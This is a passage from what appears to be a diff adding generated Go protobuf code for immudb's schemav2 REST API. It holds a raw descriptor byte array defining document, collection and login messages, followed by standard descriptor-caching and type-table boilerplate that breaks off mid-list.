0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x1a, 0x50, 0x0a, 0x0a, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, + 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, + 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x84, 0x01, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x77, 0x72, + 0x69, 0x74, 0x65, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0b, 0x77, 0x72, 0x69, 0x74, 0x65, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x25, 0x0a, 0x0d, + 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, + 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, + 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, + 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1d, 0x0a, 0x09, 0x69, 0x6e, 0x74, 0x5f, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x08, 0x69, 0x6e, 0x74, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0xa9, 0x03, 0x0a, + 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x39, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x55, 0x0a, 0x09, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, + 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, + 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa3, 0x03, 0x0a, 0x15, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, + 0x73, 0x12, 0x53, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x35, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, + 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, + 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x17, + 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x62, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x48, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x32, 0xbf, 0x06, 0x0a, 0x0b, 0x49, + 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x67, 0x0a, 0x05, 0x4c, 0x6f, + 0x67, 0x69, 0x6e, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x1f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x19, 0x22, 0x14, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x76, 0x32, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, + 0x3a, 0x01, 0x2a, 0x12, 0x82, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x2b, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x26, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x95, 0x01, 0x0a, 0x10, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x28, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0x2f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x29, 0x22, 0x24, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, + 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x12, 0x90, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x85, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x2f, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x29, 0x22, 0x24, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0xb1, 0x01, 0x5a, + 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, + 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x92, 0x41, + 0x7f, 0x12, 0x14, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, + 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_schemav2_proto_rawDescOnce sync.Once + file_schemav2_proto_rawDescData = file_schemav2_proto_rawDesc +) + +func file_schemav2_proto_rawDescGZIP() []byte { + file_schemav2_proto_rawDescOnce.Do(func() { + file_schemav2_proto_rawDescData = protoimpl.X.CompressGZIP(file_schemav2_proto_rawDescData) + }) + return file_schemav2_proto_rawDescData +} + +var file_schemav2_proto_msgTypes = make([]protoimpl.MessageInfo, 16) +var file_schemav2_proto_goTypes = []interface{}{ + (*DocumentInsertRequest)(nil), // 0: immudb.schemav2.DocumentInsertRequest + (*DocumentSearchRequest)(nil), // 1: immudb.schemav2.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 2: immudb.schemav2.DocumentSearchResponse + (*LoginRequest)(nil), // 3: immudb.schemav2.LoginRequest + (*LoginResponse)(nil), // 4: immudb.schemav2.LoginResponse + (*PossibleIndexValue)(nil), // 5: immudb.schemav2.PossibleIndexValue + (*CollectionCreateRequest)(nil), // 6: immudb.schemav2.CollectionCreateRequest + (*CollectionInformation)(nil), // 7: immudb.schemav2.CollectionInformation + (*CollectionListRequest)(nil), // 8: immudb.schemav2.CollectionListRequest + (*CollectionListResponse)(nil), // 9: immudb.schemav2.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 10: immudb.schemav2.CollectionDeleteRequest + nil, // 11: 